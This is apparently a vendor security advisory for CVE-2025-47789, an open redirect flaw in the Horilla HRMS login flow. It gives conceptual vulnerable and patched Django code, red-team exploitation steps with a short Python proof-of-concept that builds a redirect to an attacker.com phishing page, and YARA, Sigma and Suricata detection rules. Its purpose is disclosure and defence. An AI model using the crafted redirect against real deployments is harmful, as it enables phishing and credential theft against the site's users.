CVE-2025-47789
Executive Summary
CVE-2025-47789 is an open redirect vulnerability affecting Horilla, a free and open-source Human Resource Management System (HRMS). An attacker can craft a malicious URL that, when clicked by an authenticated user, redirects them to an arbitrary external domain. This flaw can be leveraged for phishing attacks, credential harvesting, or malware distribution by impersonating the legitimate Horilla application. The vulnerability exists in all versions up to and including 1.3. A fix has been committed to the repository but no official patched release has been announced. The CVSS score is 6.1 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the Horilla application source code. The risk is primarily to organizations self-hosting Horilla, as the redirect can be used to compromise user sessions and credentials.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – The attacker does not need to be authenticated.
- User Interaction (UI): Required – The victim must click the crafted URL.
- Scope (S): Changed – The redirect can impact resources beyond the vulnerable component.
- Confidentiality (C): Low – Potential for limited information disclosure (e.g., phishing).
- Integrity (I): Low – Potential for limited data modification (e.g., redirecting to a malicious site).
- Availability (A): None – No impact on system availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for social engineering and phishing makes this a significant risk for organizations using Horilla.
Deep Dive & Mechanics
The vulnerability is an open redirect (CWE-601) in the Horilla HRMS application. The application fails to properly validate or sanitize user-supplied input used in redirect URLs. An attacker can craft a URL like:
https://victim-horilla-instance.com/some-endpoint?next=https://malicious-site.com
When a user clicks this link and is already logged in (or logs in after clicking), the application redirects the user to the external domain specified in the next parameter. This allows the attacker to create a convincing phishing page that mimics the Horilla login screen, capture credentials, or serve malware.
The root cause is likely in the authentication or redirect logic where the next parameter is not validated against a whitelist of allowed domains. The fix (commit 1c72404df6888bb23af73c767fdaee5e6679ebd6) presumably adds validation to ensure the redirect target is a relative path or an allowed internal domain.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Vulnerable: Directly uses the 'next' parameter without validation
def login(request):
next_url = request.GET.get('next', '/')
# ... authentication logic ...
return redirect(next_url)
Patched Code (Conceptual):
# Patched: Validates the redirect target
from django.utils.http import url_has_allowed_host_and_scheme
def login(request):
next_url = request.GET.get('next', '/')
if not url_has_allowed_host_and_scheme(next_url, allowed_hosts=None):
next_url = '/'
# ... authentication logic ...
return redirect(next_url)
The patched version uses Django's url_has_allowed_host_and_scheme to ensure the redirect target is safe.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A running instance of Horilla (version <= 1.3)
- A controlled external domain (e.g.,
attacker.com)
Exploitation Steps:
- Identify the login endpoint (e.g.,
/accounts/login/). - Craft a malicious URL:
https://victim-horilla.com/accounts/login/?next=https://attacker.com/phishing - Send the URL to a victim via email, social media, or other channels.
- When the victim clicks the link and logs in, they are redirected to
https://attacker.com/phishing. - The attacker can host a fake Horilla login page to capture credentials.
Proof of Concept (PoC) Script:
import requests
target = "https://victim-horilla.com"
malicious_redirect = "https://attacker.com/phishing"
# Craft the malicious URL
exploit_url = f"{target}/accounts/login/?next={malicious_redirect}"
print(f"Send this URL to the victim: {exploit_url}")
# Simulate a request (no authentication needed for the redirect)
response = requests.get(exploit_url, allow_redirects=False)
print(f"Status: {response.status_code}")
print(f"Location header: {response.headers.get('Location')}")
Blue Team (Defensive)
Detection Steps:
- Monitor logs for unusual
nextparameters containing external domains. - Implement a web application firewall (WAF) rule to block redirects to external domains.
- Review authentication logs for successful logins followed by redirects to unknown domains.
Mitigation Steps:
- Apply the patch from commit
1c72404df6888bb23af73c767fdaee5e6679ebd6. - If patching is not possible, manually validate the
nextparameter in the code. - Educate users about phishing attacks and the risks of clicking suspicious links.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to Horilla login endpoints with
nextparameter containing external domains. - Outbound connections from Horilla server to unknown external domains immediately after a login.
- HTTP requests to Horilla login endpoints with
- File IOCs:
- Modified login views that do not validate redirect targets.
- Log IOCs:
- Authentication logs showing successful logins followed by redirects to external URLs.
- Web server logs with
302responses andLocationheaders pointing to external domains.
Detection Engineering
YARA Rule
rule CVE_2025_47789_Open_Redirect {
meta:
description = "Detects open redirect patterns in Horilla HRMS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-47789"
strings:
$redirect_param = "?next=" nocase
$external_domain = /https?:\/\/[^\/]+\.[a-z]{2,}/ nocase
condition:
$redirect_param and $external_domain
}
Sigma Rule
title: CVE-2025-47789 Open Redirect in Horilla HRMS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to Horilla login endpoints with external redirect targets
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-47789
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '?next='
cs-uri-query|re: 'https?://[^/]+\.[a-z]{2,}'
condition: selection
falsepositives:
- Legitimate redirects to internal domains (should be whitelisted)
level: medium
tags:
- attack.t1190
- cve.2025.47789
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-47789 Open Redirect in Horilla HRMS"; flow:to_server,established; content:"?next="; http_uri; pcre:"/https?:\/\/[^\/]+\.[a-z]{2,}/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Apply the patch from commit
1c72404df6888bb23af73c767fdaee5e6679ebd6to the Horilla source code. - Configuration: Ensure the application validates all redirect targets against a whitelist of allowed domains.
- WAF Rule: Deploy a WAF rule to block requests with
nextparameters containing external domains. - User Education: Train users to recognize phishing attempts and avoid clicking suspicious links.
- Monitoring: Enable logging for all redirect events and monitor for anomalies.
- Update: Watch for an official patched release from Horilla and upgrade as soon as possible.
Valters IT
Securing Digital Frontiers